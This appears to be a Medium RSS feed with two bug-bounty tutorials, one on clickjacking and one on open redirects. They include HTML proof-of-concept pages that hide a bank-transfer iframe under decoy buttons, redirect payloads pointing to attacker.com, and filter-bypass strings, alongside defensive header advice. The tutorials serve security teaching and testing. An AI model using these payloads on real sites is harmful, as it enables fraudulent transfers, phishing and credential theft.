<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by MhmdSec on Medium]]></title>
        <description><![CDATA[Stories by MhmdSec on Medium]]></description>
        <link>https://medium.com/@mhmdsec?source=rss-ebe1ecc81706------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*TtJGCGg0CHrfx9U5lMIkgQ.jpeg</url>
            <title>Stories by MhmdSec on Medium</title>
            <link>https://medium.com/@mhmdsec?source=rss-ebe1ecc81706------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:58:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mhmdsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One Click Is All It Takes: The Hidden Danger of Clickjacking Attacks]]></title>
            <link>https://mhmdsec.medium.com/one-click-is-all-it-takes-the-hidden-danger-of-clickjacking-attacks-c6d3cd263a4f?source=rss-ebe1ecc81706------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6d3cd263a4f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[MhmdSec]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 06:59:37 GMT</pubDate>
            <atom:updated>2026-02-15T06:59:37.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z9dSOOBdS6yAx-lN.png" /><figcaption>clickjacking</figcaption></figure><p>Have you ever clicked a “Subscribe to Newsletter” button, only to unknowingly authorize a $5,000 bank transfer? Or clicked to accept a site’s cookie policy, accidentally changing your account password instead? Welcome to the world of clickjacking, one of the most deceptive attacks in cybersecurity.</p><p>Clickjacking, also known as UI redressing, is the digital equivalent of a magician’s misdirection. While you think you’re clicking one thing, you’re actually clicking something completely different. And the consequences can be devastating.</p><h3>The Invisible Threat</h3><p>Imagine visiting what appears to be a harmless blog about technology. There’s a big, inviting button that says “Subscribe to Our Newsletter.” You click it without hesitation. But here’s what you don’t see: hidden beneath that innocent button, invisible to your eyes, is your bank’s transfer money form, already filled out to send thousands of dollars to an attacker’s account.</p><p>This isn’t science fiction. This is clickjacking in action.</p><h3>Anatomy of a Clickjacking Attack</h3><p>Let’s break down how this digital sleight of hand actually works.</p><h3>The Setup</h3><p>Attackers use HTML iframes to embed a target website within their malicious page. Think of an iframe as a window into another website, displayed within the attacker’s page. Through clever CSS manipulation, they can make this iframe completely invisible while positioning it precisely where they want.</p><p>Here’s a simplified version of what the attack looks like:</p><pre>&lt;html&gt;<br> &lt;h3&gt;Win a Free iPhone! Click Here!&lt;/h3&gt;<br> &lt;iframe <br>   src=&quot;https://bank.example.com/transfer_money?recipient=ATTACKER&amp;amount=5000&quot;<br>   style=&quot;opacity:0.00001; position:absolute; top:100px; left:100px;&quot;<br>   width=&quot;500&quot; <br>   height=&quot;500&quot;&gt;<br> &lt;/iframe&gt;<br> &lt;button style=&quot;position:absolute; top:300px; left:250px;&quot;&gt;<br>   Click to Claim Your Prize!<br> &lt;/button&gt;<br>&lt;/html&gt;</pre><p>The iframe is rendered nearly invisible with opacity:0.00001, but it&#39;s still there, lurking beneath the surface. The attacker positions their fake button directly under where the real &quot;Transfer Money&quot; button appears in the iframe.</p><h3>The Prefilled Form Trick</h3><p>Modern banking sites often use URL parameters to prefill forms for convenience. A legitimate URL might look like this:</p><p><a href="https://bank.example.com/transfer_money?recipient=ACCOUNT_ID&amp;amount=AMOUNT">https://bank.example.com/transfer_money?recipient=ACCOUNT_ID&amp;amount=AMOUNT</a></p><p>When you visit this URL, the transfer form appears already filled out. All that’s needed is a click on the “Submit” button. Attackers exploit this feature by embedding an iframe with malicious parameters already set. The form is ready to execute the moment you click.</p><h3>The Perfect Illusion</h3><p>With the malicious iframe positioned correctly and rendered invisible, the page looks completely normal. You see a blog, a newsletter signup, or a contest entry form. But when you click that harmless-looking button, you’re actually clicking through the transparent iframe, triggering whatever action the attacker has prepared for you.</p><p>Because you’re already logged into the target site in another browser tab, the iframe inherits your session. The site sees a legitimate, authenticated request from you and processes it without question.</p><h3>The Two Critical Conditions</h3><p>For a clickjacking attack to succeed, two specific conditions must align:</p><h3>1. State-Changing Actions</h3><p>The target page must perform actions that actually matter. Security researchers call these “state-changing actions” because they modify something about your account or data. Examples include:</p><ul><li>Transferring money or cryptocurrency</li><li>Changing passwords or email addresses</li><li>Authorizing payments or subscriptions</li><li>Deleting accounts or data</li><li>Granting permissions or access rights</li><li>Linking or unlinking external accounts</li></ul><p>A page that simply displays information isn’t useful for clickjacking. The attacker needs a page where a single click can cause real damage.</p><h3>2. Frameable Pages</h3><p>The target page must allow itself to be embedded in an iframe on another site. By default, most web pages can be framed unless they explicitly prevent it. This is where security headers come into play.</p><h3>Defense Mechanisms: How Sites Protect Themselves</h3><p>Understanding the defenses against clickjacking helps you identify vulnerable pages. Three main mechanisms exist:</p><h3>X-Frame-Options Header</h3><p>This HTTP response header tells browsers whether a page’s contents can be rendered in an iframe. It offers two primary options:</p><pre>X-Frame-Options: DENY</pre><p>This prevents the page from being framed anywhere, period.</p><pre>X-Frame-Options: SAMEORIGIN</pre><p>This allows framing only by pages from the same origin (same protocol, host, and port).</p><h3>Content-Security-Policy: frame-ancestors</h3><p>This newer header offers more granular control:</p><pre>Content-Security-Policy: frame-ancestors &#39;none&#39;;</pre><p>Prevents any site from framing the page.</p><pre>Content-Security-Policy: frame-ancestors &#39;self&#39;;</pre><p>Allows only the current site to frame the page.</p><pre>Content-Security-Policy: frame-ancestors &#39;self&#39; *.example.com;</pre><p>Allows the current site and all its subdomains to frame the content.</p><h3>SameSite Cookie Flag</h3><p>This cookie attribute provides another layer of defense. When set to Strict or Lax, cookies won&#39;t be sent with requests made from within third-party iframes:</p><pre>Set-Cookie: PHPSESSID=UEhQU0VTU0lE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict</pre><p>If a site uses SameSite cookies, clickjacking attacks on authenticated features become much harder to execute, as the attacker’s iframe won’t have access to the victim’s session.</p><h3>Hunting for Clickjacking Vulnerabilities</h3><p>Whether you’re a bug bounty hunter or securing your own applications, here’s how to systematically find clickjacking vulnerabilities.</p><h3>Step 1: Identify State-Changing Actions</h3><p>Begin by exploring the target application thoroughly. Click through every feature and document pages that allow users to make meaningful changes to their accounts. For a banking application, your list might look like this:</p><p><strong>State-changing actions on bank.example.com:</strong></p><ul><li>Change password: bank.example.com/password_change</li><li>Transfer balance: bank.example.com/transfer_money</li><li>Unlink external account: bank.example.com/unlink</li><li>Update billing email: bank.example.com/update_email</li><li>Authorize payment: bank.example.com/authorize_payment</li></ul><p>Focus on actions that require only mouse clicks to execute, as these are the most vulnerable to clickjacking.</p><h3>Step 2: Examine Response Headers</h3><p>For each state-changing page you’ve identified, intercept the HTTP response using a proxy tool like Burp Suite or your browser’s developer tools. Look for the presence of these security headers:</p><ul><li>X-Frame-Options</li><li>Content-Security-Policy (specifically the frame-ancestors directive)</li></ul><p>If neither header is present, the page may be vulnerable to clickjacking.</p><p>Additionally, check whether the site uses SameSite cookies. If the state-changing action requires authentication and the site employs SameSite cookies set to Strict or Lax, you won&#39;t be able to exploit the vulnerability (at least not with standard clickjacking techniques).</p><h3>Step 3: Craft a Proof of Concept</h3><p>Create an HTML file that attempts to frame the target page:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Clickjacking Test&lt;/title&gt;<br>    &lt;style&gt;<br>        iframe {<br>            width: 800px;<br>            height: 600px;<br>            border: 2px solid red;<br>        }<br>    &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Testing Clickjacking on Target Page&lt;/h1&gt;<br>    &lt;iframe src=&quot;https://bank.example.com/transfer_money&quot;&gt;&lt;/iframe&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Load this page in your browser. If the target page renders successfully within the iframe, it’s frameable. If you see a blank space or an error message, the page is protected against clickjacking.</p><h3>Step 4: Execute a Test Attack</h3><p>Once you’ve confirmed the page is frameable, create a more sophisticated proof of concept that simulates a real attack. Use CSS to position a decoy button over the actual target button, and reduce the iframe’s opacity to near-invisible levels:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Clickjacking PoC&lt;/title&gt;<br>    &lt;style&gt;<br>        .decoy-button {<br>            position: absolute;<br>            top: 250px;<br>            left: 300px;<br>            padding: 20px 40px;<br>            font-size: 18px;<br>            background-color: #4CAF50;<br>            color: white;<br>            border: none;<br>            cursor: pointer;<br>            z-index: 1;<br>        }<br>        <br>        iframe {<br>            position: absolute;<br>            top: 0;<br>            left: 0;<br>            width: 1000px;<br>            height: 800px;<br>            opacity: 0.00001;<br>            z-index: 2;<br>        }<br>    &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;h1&gt;Click here to win a free vacation!&lt;/h1&gt;<br>    &lt;button class=&quot;decoy-button&quot;&gt;Claim Your Prize!&lt;/button&gt;<br>    &lt;iframe src=&quot;https://bank.example.com/transfer_money?recipient=ATTACKER&amp;amount=1000&quot;&gt;&lt;/iframe&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>Test this on your own account. If clicking the visible button triggers the action in the iframe, you’ve confirmed a clickjacking vulnerability.</p><h3>Maximizing Impact and Building Attack Chains</h3><p>Not all clickjacking vulnerabilities are created equal. The severity depends entirely on what action can be hijacked.</p><h3>Prioritizing High-Impact Targets</h3><p>Consider two scenarios:</p><p><strong>Scenario A:</strong> A frameable page that changes a user’s theme color preference <strong>Scenario B:</strong> A frameable page that transfers the user’s bank balance</p><p>Both are technically clickjacking vulnerabilities, but Scenario B represents a critical security issue, while Scenario A is trivial. When hunting for bugs or prioritizing fixes, focus on pages that control:</p><ul><li>Financial transactions</li><li>Account credentials and authentication</li><li>Access permissions and privileges</li><li>Personal or sensitive data</li><li>Account deletion or major state changes</li></ul><h3>Chaining Multiple Vulnerabilities</h3><p>Creative attackers can chain multiple clickjacking vulnerabilities to amplify their impact. Consider this scenario:</p><pre>&lt;html&gt;<br> &lt;h3&gt;Welcome to my site!&lt;/h3&gt;<br> <br> &lt;!-- First iframe: Change billing email to attacker&#39;s address --&gt;<br> &lt;iframe<br>   src=&quot;https://bank.example.com/change_billing_email?email=attacker@attacker.com&quot;<br>   style=&quot;opacity:0.00001; position:absolute; top:100px; left:100px;&quot;<br>   width=&quot;500&quot; <br>   height=&quot;500&quot;&gt;<br> &lt;/iframe&gt;<br> <br> &lt;!-- Second iframe: Send account summary to billing email --&gt;<br> &lt;iframe <br>   src=&quot;https://bank.example.com/send_summary&quot; <br>   style=&quot;opacity:0.00001; position:absolute; top:100px; left:600px;&quot;<br>   width=&quot;500&quot; <br>   height=&quot;500&quot;&gt;<br> &lt;/iframe&gt;<br>&lt;/html&gt;</pre><p>With careful positioning, an attacker could trick a user into making two clicks: first changing their billing email to the attacker’s address, then sending their complete account summary to that new email. The victim has just handed over all their financial information without realizing it.</p><h3>Strategic Decoy Placement</h3><p>The effectiveness of a clickjacking attack heavily depends on where you place the decoy element. Based on research and real-world attacks, the most effective locations include:</p><p><strong>Cookie consent banners:</strong> Users habitually click “Accept” without thinking. Positioning a hidden state-changing button directly under the “Accept” button on a cookie notice is devastatingly effective.</p><p><strong>Social media share buttons:</strong> Users frequently click these to share content they find interesting.</p><p><strong>Video play buttons:</strong> On pages with embedded videos, the play button is an intuitive click target.</p><p><strong>Login or submit buttons:</strong> If your decoy page looks like a legitimate login form, users will naturally click the submit button.</p><p><strong>Download or “Free” buttons:</strong> Offers of free content or downloads attract clicks without much scrutiny.</p><h3>The Bug Bounty Perspective</h3><p>Before you rush off to test every website you can find, an important note: clickjacking vulnerabilities are often explicitly out of scope for bug bounty programs. Why?</p><ol><li><strong>High barrier to exploitation:</strong> Successful attacks require significant user interaction and social engineering</li><li><strong>Context-dependent severity:</strong> The impact varies wildly depending on what action is being hijacked</li><li><strong>Common occurrence:</strong> Many pages lack clickjacking protection without presenting real risk</li></ol><p>However, some programs still accept clickjacking reports if you can demonstrate significant real-world impact. The key is showing how the vulnerability could be weaponized against real users in a realistic attack scenario.</p><h3>Your Action Plan</h3><p>Ready to start hunting for clickjacking vulnerabilities? Follow this systematic approach:</p><ol><li><strong>Map state-changing actions:</strong> Thoroughly explore your target application and document every feature that modifies account state, prioritizing those requiring only mouse clicks</li><li><strong>Analyze security headers:</strong> Check each state-changing page for X-Frame-Options, Content-Security-Policy: frame-ancestors, and SameSite cookies</li><li><strong>Test frameability:</strong> Craft basic HTML pages to verify whether target pages can be embedded in iframes</li><li><strong>Build proof of concepts:</strong> Create working demonstrations that successfully trigger state-changing actions through invisible iframes</li><li><strong>Assess realistic impact:</strong> Consider how the vulnerability could actually be exploited against real users and what damage could result</li><li><strong>Document your findings:</strong> If reporting to a bug bounty program, include clear reproduction steps, screenshots, and a realistic attack scenario</li></ol><h3>Protecting Your Own Applications</h3><p>If you’re a developer, protecting against clickjacking is straightforward:</p><ol><li><strong>Set appropriate frame options:</strong> Add X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN to all pages with sensitive actions</li><li><strong>Implement CSP frame-ancestors:</strong> Use Content-Security-Policy: frame-ancestors &#39;none&#39; or &#39;self&#39; for more granular control</li><li><strong>Enable SameSite cookies:</strong> Set your session cookies with SameSite=Strict or SameSite=Lax to prevent cross-site request forgery via iframes</li><li><strong>Defense in depth:</strong> Implement multiple protections rather than relying on a single mechanism</li></ol><h3>Conclusion</h3><p>Clickjacking demonstrates a fundamental truth about security: the most dangerous attacks are often the simplest. No complex exploits, no sophisticated malware, just clever HTML and CSS used to redirect your clicks to unintended targets.</p><p>The next time you see a “Click Here to Win!” button, a newsletter subscription form, or a cookie consent banner, remember that beneath that innocent interface might lurk something far more sinister. One click truly is all it takes.</p><p>For security researchers, clickjacking represents an interesting challenge: finding the intersection between what’s technically possible and what’s practically exploitable. For developers, it’s a reminder that security headers exist for good reason and should never be omitted from sensitive pages.</p><p>Stay vigilant, both when clicking buttons online and when securing the applications you build. After all, in the world of clickjacking, what you see is definitely not what you get.</p><p><em>Have you encountered creative clickjacking attacks or discovered interesting vulnerabilities? Share your experiences in the comments below!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6d3cd263a4f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Open Redirect Vulnerabilities: A Complete Guide for Bug Hunters]]></title>
            <link>https://mhmdsec.medium.com/understanding-open-redirect-vulnerabilities-a-complete-guide-for-bug-hunters-e3f2af3ee499?source=rss-ebe1ecc81706------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3f2af3ee499</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[security-vulnerabilities]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[MhmdSec]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 05:35:55 GMT</pubDate>
            <atom:updated>2026-02-15T05:36:55.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*pLt3VjTjpt6kdlWE.png" /><figcaption>open redirect</figcaption></figure><p>Open redirects are among the most commonly overlooked vulnerabilities in web applications. While they might seem simple on the surface, these flaws can serve as powerful weapons in an attacker’s arsenal, enabling sophisticated phishing campaigns and acting as critical components in complex attack chains. In this comprehensive guide, we’ll explore what open redirects are, how to find them, and how to maximize their impact.</p><h3>What Are Open Redirects?</h3><p>An open redirect occurs when a web application accepts user-controllable input that specifies an external URL for redirection, without proper validation. While URL redirection is a legitimate and often necessary feature, it becomes dangerous when attackers can manipulate these redirects to send users to malicious websites.</p><p>Consider this typical scenario: after logging into a website, you’re redirected back to the page you were originally trying to access. This functionality often relies on URL parameters like these:</p><ul><li><a href="https://example.com/login?redirect=https://example.com/dashboard">https://example.com/login?redirect=https://example.com/dashboard</a></li><li><a href="https://example.com/login?next=/dashboard">https://example.com/login?next=/dashboard</a></li><li><a href="https://example.com/login?redir=https://example.com/profile">https://example.com/login?redir=https://example.com/profile</a></li></ul><p>The vulnerability emerges when an attacker can modify these parameters to redirect users to arbitrary external sites.</p><h3>Why Open Redirects Matter</h3><p>At first glance, open redirects might seem harmless. After all, what’s the big deal if a URL redirects somewhere unexpected? The reality is far more concerning.</p><h3>Phishing Attacks</h3><p>Open redirects significantly enhance the credibility of phishing campaigns. Imagine receiving an email with this link:</p><p><a href="https://example.com/login?next=https://attacker.com/fake_login.html">https://example.com/login?next=https://attacker.com/fake_login.html</a></p><p>A victim clicking this link would initially land on the legitimate website, lowering their guard. The subsequent redirect to the attacker’s site, which hosts a convincing replica of the login page, could easily fool even security-conscious users. The attacker might display a message like “Sorry! The password you provided was incorrect. Please enter your username and password again,” prompting users to enter their credentials directly into the malicious site.</p><h3>Hunting for Open Redirects: A Systematic Approach</h3><p>Finding open redirects requires a methodical strategy. Here’s how to efficiently discover these vulnerabilities in your target applications.</p><h3>Step 1: Identify Redirect Parameters</h3><p>Start by searching for URL parameters that suggest redirection functionality. Common parameter names include:</p><ul><li>redirect, redir, redirecturi, redirect_uri</li><li>redirecturl, redirect_url</li><li>next, forward, forwardurl, forward_url</li><li>return, returnurl, return_url</li><li>relaystate</li><li>url, uri</li><li>dest, destination</li><li>u, n</li></ul><p>Keep an eye out for HTTP status codes in the 3xx range (301, 302, 303, 307, 308), which indicate redirections.</p><h3>Step 2: Leverage Google Dorks</h3><p>Use these Google dorks to find potential open redirect vulnerabilities. Replace example.com with your target domain.</p><h3>Basic Redirect Parameters</h3><pre>inurl:redir site:example.com</pre><pre>inurl:redirect site:example.com</pre><pre>inurl:redirecturi site:example.com</pre><pre>inurl:redirect_uri site:example.com</pre><pre>inurl:redirecturl site:example.com</pre><pre>inurl:redirect_url site:example.com</pre><h3>Return Parameters</h3><pre>inurl:return site:example.com</pre><pre>inurl:returnurl site:example.com</pre><h3>Forward Parameters</h3><pre>inurl:forward site:example.com</pre><pre>inurl:forwardurl site:example.com</pre><pre>inurl:forward_url site:example.com</pre><h3>Generic URL Parameters</h3><pre>inurl:url site:example.com</pre><pre>inurl:uri site:example.com</pre><h3>Destination Parameters</h3><pre>inurl:dest site:example.com</pre><pre>inurl:destination site:example.com</pre><h3>Navigation Parameters</h3><pre>inurl:next site:example.com</pre><pre>inurl:relaystate site:example.com</pre><h3>Usage Tips</h3><ol><li><strong>Replace the domain</strong>: Change example.com to your target domain</li><li><strong>Try variations</strong>: Some sites use different parameter naming conventions</li><li><strong>Check results carefully</strong>: Not all results will be vulnerable</li><li><strong>Test systematically</strong>: Verify each finding by attempting a redirect to a domain you control</li><li><strong>Look for patterns</strong>: If you find one vulnerable parameter, similar pages might have the same issue</li></ol><h3>Example Usage</h3><p>For a target like company.com, you would search:</p><pre>inurl:next site:company.com</pre><p>This might return URLs like:</p><ul><li><a href="https://company.com/login?next=/dashboard">https://company.com/login?next=/dashboard</a></li><li><a href="https://company.com/auth?next=https://company.com/profile">https://company.com/auth?next=https://company.com/profile</a></li></ul><p>Test these by replacing the redirect value with your own domain to check for open redirect vulnerabilities.</p><h3>Step 3: Test the Vulnerability</h3><p>Once you’ve identified potential targets, it’s time to test them. Replace the redirect parameter’s value with an external domain you control and observe the behavior:</p><p><a href="https://example.com/login?next=https://yoursite.com">https://example.com/login?next=https://yoursite.com</a></p><p>If the application redirects to your domain without validation, you’ve found an open redirect.</p><h3>Step 4: Check for Referer-Based Redirects</h3><p>Some applications implement redirects based on the HTTP Referer header rather than URL parameters. To test for these:</p><ol><li>Create an HTML page on your domain with a link to the target:</li></ol><pre>&lt;html&gt;<br> &lt;a href=&quot;https://example.com/login&quot;&gt;Click on this link!&lt;/a&gt;<br>&lt;/html&gt;</pre><ol><li>Click the link and observe if the target site redirects based on your referrer</li></ol><p>This technique can uncover redirects that aren’t immediately obvious from URL inspection alone.</p><h3>Bypassing Open Redirect Protection</h3><p>Modern applications often implement protections against open redirects. However, these defenses can frequently be circumvented with creative payloads.</p><h3>Alternative Protocol Formats</h3><p>URL validators sometimes use simplistic pattern matching that can be fooled with alternative formats:</p><ul><li>https:attacker.com</li><li>https;attacker.com</li><li>https:\/\/attacker.com</li><li>https:/\/\attacker.com</li></ul><p>If the validator blocks URLs containing https:// or http://, these alternatives might slip through.</p><h3>Exploiting Backslash Parsing Differences</h3><p>Different parsers interpret backslashes inconsistently. Consider this URL:</p><p><a href="https://attacker.com/@example.com">https://attacker.com\@example.com</a></p><p>A validator might see example.com as the hostname, treating attacker.com\ as the username portion. However, if the browser automatically corrects the backslash to a forward slash, it redirects to attacker.com, interpreting @example.com as the path:</p><p><a href="https://attacker.com/@example.com">https://attacker.com/@example.com</a></p><h3>Using Target Domain in Your URL</h3><p>Many validators check if the redirect URL contains the target’s domain name. You can satisfy this check while still controlling the destination:</p><ul><li>http://example.com.attacker.com (subdomain approach)</li><li>http://attacker.com/example.com (path approach)</li></ul><p>For stricter validators that require the domain at both the start and end:</p><p><a href="https://example.com.attacker.com/example.com">https://example.com.attacker.com/example.com</a></p><h3>Data URLs</h3><p>The data: URI scheme enables base64-encoded redirects that can evade validators:</p><pre>data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=</pre><p>This decodes to:</p><pre>&lt;script&gt;location=&quot;https://example.com&quot;&lt;/script&gt;</pre><p>Insert this into the redirect parameter:</p><p><a href="https://example.com/login?redir=data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=">https://example.com/login?redir=data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI8L3NjcmlwdD4=</a></p><h3>Double and Triple Encoding</h3><p>URL-encode special characters multiple times to bypass filters:</p><ul><li>Single encoding: <a href="https://example.com%2f@attacker.com/">https://example.com%2f@attacker.com</a></li><li>Double encoding: <a href="https://example.com%252f@attacker.com/">https://example.com%252f@attacker.com</a></li><li>Triple encoding: <a href="https://example.com%25252f@attacker.com/">https://example.com%25252f@attacker.com</a></li></ul><h3>Non-ASCII Character Exploitation</h3><p>Browsers and validators may handle non-ASCII characters differently. For instance, the character ÿ (%ff) might cause interesting parsing behaviors:</p><p>https://attacker.com%ff.example.com</p><p>The validator might see example.com as the domain, while the browser interprets it differently, potentially converting the non-ASCII character to a question mark:</p><p><a href="https://attacker.com/?.example.com">https://attacker.com?.example.com</a></p><p>Similarly, look-alike characters such as ╱ (%E2%95%B1) might be converted to actual slashes by browsers:</p><p>https://attacker.com╱.example.com → <a href="https://attacker.com/.example.com">https://attacker.com/.example.com</a></p><h3>Practical Impact and Exploitation</h3><p>Open redirects truly shine when combined with other vulnerabilities and attack techniques.</p><h3>Chaining with SSRF</h3><p>When hunting for Server-Side Request Forgery vulnerabilities, open redirects can help you bypass URL allowlists. If an application restricts outbound requests to specific domains, an open redirect on one of those domains becomes a gateway to arbitrary destinations.</p><h3>Credential Harvesting</h3><p>Beyond simple phishing, open redirects can be weaponized for sophisticated credential harvesting operations. By crafting convincing redirect chains through multiple legitimate domains, attackers can build complex deception paths that evade detection by email filters and security tools.</p><h3>OAuth and Authentication Bypass</h3><p>In OAuth flows and single sign-on implementations, open redirects can sometimes be leveraged to intercept authorization codes or tokens, potentially leading to account takeover.</p><h3>Your Action Plan</h3><p>Ready to start finding open redirects? Follow this systematic approach:</p><ol><li><strong>Reconnaissance</strong>: Search for redirect URL parameters in your target application using both manual inspection and Google dorks</li><li><strong>Identify referer-based redirects</strong>: Look for pages that perform redirects without obvious URL parameters</li><li><strong>Test systematically</strong>: Attempt basic redirects to external domains you control</li><li><strong>Bypass protections</strong>: If initial tests fail, employ the bypass techniques covered in this guide</li><li><strong>Chain vulnerabilities</strong>: Think creatively about how open redirects can amplify other security issues you discover</li></ol><h3>Conclusion</h3><p>Open redirects represent a fascinating category of vulnerabilities that demonstrate how seemingly minor security oversights can have significant real-world implications. While they might not always warrant critical severity ratings on their own, their utility in attack chains and phishing campaigns makes them valuable discoveries for both security researchers and organizations seeking to improve their security posture.</p><p>By understanding the mechanics of open redirects, the techniques for discovering them, and the methods for bypassing common protections, you’re now equipped to identify these vulnerabilities in your security assessments. Remember: the true power of an open redirect often lies not in the vulnerability itself, but in how it can be combined with other attack vectors to achieve larger security objectives.</p><p>Happy hunting, and may your bug bounties be plentiful!</p><p><em>Have you discovered interesting open redirect vulnerabilities? Share your experiences in the comments below!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3f2af3ee499" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>